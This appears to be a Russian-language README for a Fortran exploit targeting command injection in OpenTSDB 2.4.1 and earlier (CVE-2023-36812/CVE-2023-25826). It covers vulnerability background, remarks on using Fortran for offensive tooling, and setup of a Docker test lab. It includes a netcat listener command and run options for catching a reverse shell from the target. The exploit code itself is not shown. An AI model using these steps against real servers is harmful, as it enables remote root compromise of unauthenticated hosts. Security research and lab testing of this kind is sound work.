Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran.
Эксплойт для инъекции команд в OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826), написанный на Fortran
Это эксплойт для уязвимости инъекции команд в OpenTSDB версий 2.4.1 и более ранних (CVE-2023-36812/CVE-2023-25826). Эксплойт написан на современном Fortran и использует официальную библиотеку http-client для Fortran, созданную ранее в этом году.
OpenTSDB — это открытая база данных временных рядов, написанная на Java. В 2020 году в версиях 2.4.0 и более ранних была обнаружена уязвимость инъекции команд, которая позволяла получить удалённое выполнение кода на хосте с правами root. Поскольку OpenTSDB не поддерживает аутентификацию, эта уязвимость, отслеживаемая как CVE-2020-35476, могла быть использована любым, у кого есть доступ к веб-интерфейсу OpenTSDB. Проблема была исправлена в версии 2.4.1.
В этом году было обнаружено, что патч для CVE-2020-35476 неполон, и инъекция команд по-прежнему возможна в OpenTSDB 2.4.1 через несколько векторов.
Детали:
Короче говоря, я увидел этот разговор:

Идея написать эксплойт на языке программирования, на котором людей отправили на Луну, настолько меня заинтриговала, что я должен был попробовать сам. Этот эксплойт — результат того эксперимента. На вопрос, был ли он успешным, я могу ответить лишь этими мудрыми, но проклятыми словами, которые кровно связывают всех разработчиков: У меня работает. ¯\(ツ)/¯
В любом случае, вот мои ключевые выводы из этого проекта:
В целом трудно представить, что этот язык действительно обретёт значимость в offensive security, хотя бы потому, что для любого мыслимого сценария есть множество надёжных современных альтернатив (Python, Go, Rust, Ruby, C# — лишь некоторые из них). Но если вам нравится экспериментировать с разными языками программирования и вы не против постоянно оборачивать строки в вызовы trim() (ОБРАТИТЕ НА ЭТО ВНИМАНИЕ, ЭТО ИЗБАВИТ ВАС ОТ ОГРОМНЫХ СТРАДАНИЙ), Fortran определённо стоит попробовать. Сейчас я без иронии болею за этот язык и, возможно, вернусь к нему, если они продолжат добавлять поддержку в библиотеку http-client, особенно если когда-нибудь добавят библиотеку http-server.
TL;DR: Fortran http-client lib делает «брр».
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /path/to/opentsdb_key_cmd_injection/
fpm (убедитесь, что сначала установили его. Инструкции по установке — в следующем разделе)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Параметры:
-t - TARGET URL: базовый URL OpenTSDB (обязательно)-l - LHOST: IP-адрес системы, на которой запущен слушатель (обязательно)-p - LPORT: порт слушателя (обязательно)-v - VERBOSE: включить подробный вывод (необязательно)gfortran. В системах на базе Debian это делается так:apt install gfortran
chmod +x /<path>/to/fpm
Перед установкой fpm убедитесь, что в вашей системе установлен git.
Для установки вручную вы можете следовать официальным инструкциям здесь. Впрочем, это может быть утомительно, поэтому я рекомендую вместо этого использовать Docker.
Для версии 2.4.0 можно использовать docker-образ vulhub и следовать инструкциям по установке здесь. Этот образ был создан для CVE-2020-35476 — более старой уязвимости в OpenTSDB до версии 2.4.0 включительно.
Для версии 2.4.1 и, вероятно, любой другой версии можно использовать образ vulhub для OpenTSDB 2.4.0 и отредактировать его так, чтобы установить нужную вам версию. Я применил этот подход для 2.4.1, и всё отлично сработало.
Dockerfile и docker-entrypoint.sh из vulhub OpenTSDB 2.4.0 здесь и сохраните их в отдельном каталоге.Dockerfile замените все вхождения 2.4.0 на нужную версию, например 2.4.1docker-entrypoint.sh не нужно.docker-compose.yml со следующим содержимым:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
Я использовал такую структуру файлов:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d